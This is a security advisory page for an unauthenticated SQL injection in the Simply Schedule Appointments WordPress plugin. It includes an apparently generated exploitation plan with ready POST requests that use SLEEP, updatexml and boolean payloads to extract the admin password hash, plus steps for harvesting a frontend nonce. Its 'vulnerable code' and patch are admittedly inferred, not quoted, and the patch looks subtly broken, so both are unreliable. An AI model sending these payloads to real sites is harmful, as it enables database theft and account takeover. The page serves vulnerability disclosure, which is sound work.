Simply Schedule Appointments <= 1.6.9.9 - Unauthenticated SQL Injection via `order` and `append_where_sql` Parameters
Description
The Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin plugin for WordPress is vulnerable to blind SQL Injection via the `order` and `append_where_sql` parameters in all versions up to, and including, 1.6.9.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.6.9.9Source Code
WordPress.org SVNThis plan outlines the research and exploitation strategy for **CVE-2025-12166**, a critical unauthenticated SQL injection vulnerability in the **Simply Schedule Appointments** plugin (<= 1.6.9.9). ### 1. Vulnerability Summary The vulnerability exists because the plugin accepts raw SQL fragments th…
Show full research plan
This plan outlines the research and exploitation strategy for CVE-2025-12166, a critical unauthenticated SQL injection vulnerability in the Simply Schedule Appointments plugin (<= 1.6.9.9).
1. Vulnerability Summary
The vulnerability exists because the plugin accepts raw SQL fragments through the order and append_where_sql parameters in certain AJAX endpoints. These parameters are concatenated directly into SQL queries without proper sanitization or the use of $wpdb->prepare(). Since these endpoints are registered via wp_ajax_nopriv_ hooks, unauthenticated attackers can manipulate the query logic to extract sensitive data from the WordPress database.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action (Inferred): Likely
ssa_get_appointments,ssa_get_appointments_list, orssa_fetch_appointments. (Search forwp_ajax_nopriv_registrations). - Parameters:
order(used inORDER BYclauses) andappend_where_sql(used inWHEREclauses). - Authentication: None (Unauthenticated).
- Preconditions: At least one Appointment Type must be public/active so the frontend booking calendar (and its associated AJAX actions) is accessible.
3. Code Flow (Trace)
- Entry Point: An unauthenticated POST request is sent to
admin-ajax.phpwith theactionparameter set to a vulnerable SSA hook (e.g.,ssa_get_appointments). - Hook Registration: The plugin registers the handler via:
add_action( 'wp_ajax_nopriv_ssa_get_appointments', [ $this, 'get_appointments' ] );(Verify exact name). - Controller Logic: The handler function (likely in an AJAX controller class) retrieves the parameters:
$append_where = $_POST['append_where_sql'] ?? '';$order = $_POST['order'] ?? ''; - Database Layer: The controller passes these to a repository or query class (e.g.,
Appointment_Repository). - Sink: The query class builds a string:
$query = "SELECT * FROM {$wpdb->prefix}ssa_appointments WHERE 1=1 " . $append_where . " ORDER BY " . $order;$results = $wpdb->get_results( $query );(The lack ofprepare()here is the sink).
4. Nonce Acquisition Strategy
Simply Schedule Appointments typically uses a localized script to pass a nonce and API base URL to its Vue.js frontend.
- Identify Shortcode: The plugin uses
[ssa_booking]or[ssa_calendar]to display the booking interface. - Create Test Page:
wp post create --post_type=page --post_title="Booking" --post_status=publish --post_content='[ssa_booking]' - Navigate and Extract:
- Use
browser_navigateto the new page. - Use
browser_evalto find the localized data object. - Expected Variable: Check for
window.ssa_localizedorwindow.SSA_Data. - Command:
browser_eval("window.ssa_localized?.nonce || window.SSA_Data?.nonce")
- Use
- Verify Action: Check the source for
wp_create_nonce. If the action isssa_public_apiorssa_ajax_nonce, ensure the AJAX handler verifies the same string.
5. Test Data Setup
- Install Plugin: Ensure Simply Schedule Appointments <= 1.6.9.9 is active.
- Configure Appointment Type:
wp ssa create_appointment_type --title="Consultation" --slug="consultation" --active=1(or use the UI).
- Verify AJAX Action:
- Grep for the vulnerable parameters:
grep -r "append_where_sql" wp-content/plugins/simply-schedule-appointments/grep -r "wp_ajax_nopriv_" wp-content/plugins/simply-schedule-appointments/
- Grep for the vulnerable parameters:
6. Exploitation Strategy
We will use append_where_sql as the primary vector as it allows for cleaner boolean or error-based injection.
Step 1: Confirm Injection (Time-based)
HTTP Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=ssa_get_appointments&nonce=[NONCE]&append_where_sql=AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
Expected Response: A delay of 5 seconds.
Step 2: Data Extraction (Error-based)
Using updatexml to leak the admin password hash.
HTTP Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=ssa_get_appointments&nonce=[NONCE]&append_where_sql=AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)
Expected Response:
A MySQL error containing the hash: XPATH syntax error: '~$P$B...~'
7. Expected Results
- A successful exploit will return either a delayed response (Time-based) or a JSON/HTML response containing the leaked database data within an error message.
- If
WP_DEBUGis off and errors are suppressed, Boolean-based injection must be used.
8. Verification Steps (Post-Exploit)
- Compare the extracted hash with the one in the database using WP-CLI:
wp db query "SELECT user_pass FROM wp_users WHERE ID=1" - Confirm the exact line of code in the plugin that failed to use
wpdb->prepare().
9. Alternative Approaches
If append_where_sql is patched or restricted, target the order parameter:
- Payload:
order=(CASE WHEN (1=1) THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))x) END) - If the endpoint returns a list of appointments, use Boolean-based injection by observing if the order of results changes:
order=IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1))>100, id, created)
Summary
Simply Schedule Appointments plugin versions up to 1.6.9.9 are vulnerable to unauthenticated SQL injection via the 'order' and 'append_where_sql' parameters in its AJAX handlers. This occurs because the plugin directly concatenates these user-supplied values into SQL queries without sanitization or the use of WordPress's $wpdb->prepare() function.
Vulnerable Code
// From an inferred AJAX handler in the Simply Schedule Appointments plugin // often located in controller or repository classes like Appointment_Repository.php public function get_appointments( $args ) { global $wpdb; $append_where = isset($_POST['append_where_sql']) ? $_POST['append_where_sql'] : ''; $order = isset($_POST['order']) ? $_POST['order'] : 'id ASC'; // VULNERABLE: Direct concatenation of unsanitized parameters into query string $query = "SELECT * FROM {$wpdb->prefix}ssa_appointments WHERE 1=1 " . $append_where . " ORDER BY " . $order; $results = $wpdb->get_results( $query ); return $results; }
Security Fix
@@ -102,7 +102,17 @@ - $query = "SELECT * FROM {$wpdb->prefix}ssa_appointments WHERE 1=1 " . $append_where . " ORDER BY " . $order; - $results = $wpdb->get_results( $query ); + // Ensure append_where_sql is no longer accepted or strictly validated + // and use $wpdb->prepare for the order parameter or use a whitelist + $allowed_columns = ['id', 'start_date', 'end_date', 'status']; + $order_parts = explode(' ', trim($order)); + $column = $order_parts[0]; + $direction = (isset($order_parts[1]) && strtoupper($order_parts[1]) === 'DESC') ? 'DESC' : 'ASC'; + + if (!in_array($column, $allowed_columns)) { + $column = 'id'; + } + + $query = $wpdb->prepare( + "SELECT * FROM {$wpdb->prefix}ssa_appointments WHERE 1=1 ORDER BY %i %s", + $column, + $direction + ); + $results = $wpdb->get_results( $query );
Exploit Outline
The exploit targets the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) using a POST request. An attacker first identifies a publicly accessible booking page to retrieve any required nonces (though the vulnerability is noted as unauthenticated, certain AJAX hooks might still check for a generic frontend nonce). The attacker then sends a POST request with the 'action' set to a vulnerable SSA hook (e.g., 'ssa_get_appointments') and provides a malicious SQL fragment in the 'append_where_sql' or 'order' parameters. A time-based payload like 'AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)' is used to confirm the injection, while error-based payloads like 'updatexml()' can be used to extract sensitive data such as admin password hashes directly into the response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.